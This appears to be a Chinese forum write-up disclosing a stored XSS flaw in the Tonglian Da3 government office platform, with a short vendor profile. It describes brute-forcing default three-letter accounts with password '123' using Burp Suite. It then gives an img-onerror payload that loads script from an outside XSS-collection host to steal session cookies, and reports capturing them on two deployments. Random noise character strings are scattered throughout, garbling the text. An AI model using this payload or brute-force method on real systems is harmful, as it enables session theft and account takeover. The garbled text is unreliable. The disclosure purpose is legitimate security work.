同联Da3协同办公平台后台通用储存型xss漏洞

admin

" X+ M4 ]2 `/ y( K/ c2 d , [- ^. L& _7 ?9 r ! d$ U. X! J) V5 A0 ? s7 ?. z& x, L( m* g7 ^ - q- y: j2 ]: Z( B5 Q5 l/ K/ @. ] O: G " K1 t% d1 X; o / P: H/ w/ r8 t

* h3 s' X5 [9 d# H

同联Da3协同办公平台后台通用储存型xss漏洞 " d* U# ?9 L9 g5 W9 H7 C

" O0 a9 L: ~: C, H$ v3 b

6 N$ \( Z3 N7 [- c, _; h' d8 z% x 平台简介： & i/ U5 B- Y8 h6 Q

. S- I; r& M. ^; z% `+ B! a  

' S" I/ q5 ^9 b$ [6 U

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

2 H/ o! d( y9 H5 \) e& w: ?" h9 h( ~

9 S) ]; V1 | g; X   3 _% u; ~9 i' ?6 Y* B6 K- b! n& x

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

% P+ O. A a$ l6 }' }% M   ' x7 @: K8 p# c0 Y

# {7 {+ a& Q2 X7 p: \8 J* [

( S& W- K: V4 w% E http://1.1.1.1:7197/cap-aco/#（案例2-）

% C) @+ S5 S( X7 j7 [

' G$ L0 l7 ?% b4 F+ I" B5 Q http://www.XXOO.com （案例1-官网网站）

7 ~$ ~# Z% v) b" x2 B. ?* Z

3 x" o; U+ F6 c( q6 B$ U2 f1 Z! p7 B 漏洞详情:

& ]; O( O- k, N4 w2 ]! o$ j

 案例一、

. _2 N# g( f* H/ E4 X7 s% S' z

* {# A" \6 R. |3 I5 w9 S 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 / c( O7 Y1 L" t% A# F! h7 z' p

3 p8 O) o3 A4 f) j$ X

. h! [, _$ g8 b& @      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

! V- J% o) Q: U( k! P

  ) z0 r) v/ Z, \8 e4 G. b

5 e$ Z) y/ ^3 P$ M. ~/ G2 ]

$ a% }& ]* K; u; c4 v+ h

) @$ K- ~" R M- y" f status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图：

 

然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下

* z8 S# M+ ]3 H" o8 \7 V: r _

  ' u( Z; K! r" G8 p. R

<img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图： ) O6 g% z3 d- ^& x A

l! w9 J1 x2 ?6 r

) r o1 O6 }3 c. P

0 z5 \ `/ Y; l 然后发送，接收cookie如图：

3 O. u! B5 W8 w7 G5 _   h! U8 p/ f8 H1 t. m0 |% U, \

  ! U1 j4 B: y4 A3 `2 ]6 C$ D+ Y

/ D- [- R' [+ i" Y. W; ?$ ^5 I

  7 ~6 g- c) F- Q/ b

~5 h' o+ ]: U

  7 U& [( K! v2 |7 ~+ O, W: O

9 l) h1 i, |6 ?1 O

1 ^" V) o# J/ y. \" z% x   ! r& X( V! v* {2 H- o% A2 L

! X9 W8 `- K7 S2 F3 z* t* j

案例2、 ! S1 b/ ?+ H" c% N

% g5 r& {5 a6 q' L: Q, |

5 M) h. I/ X$ s 前面步骤都一样，下面看效果图：

[* Z% z7 ~' I

8 x$ R+ W# @* H3 E

! T3 F2 M9 [; w

  5 S8 h0 K. V% s D/ d2 ?- D

) r/ ~/ y. I" l" d- B: w8 U$ p: |- @  

" J1 N M1 Y. A4 v; [! c- ?5 v

7 P. c S, a) o) _: t

 

) i2 u* J1 N, X5 \2 v  

" ~7 p& J6 ]- q( a, q0 n# f T# d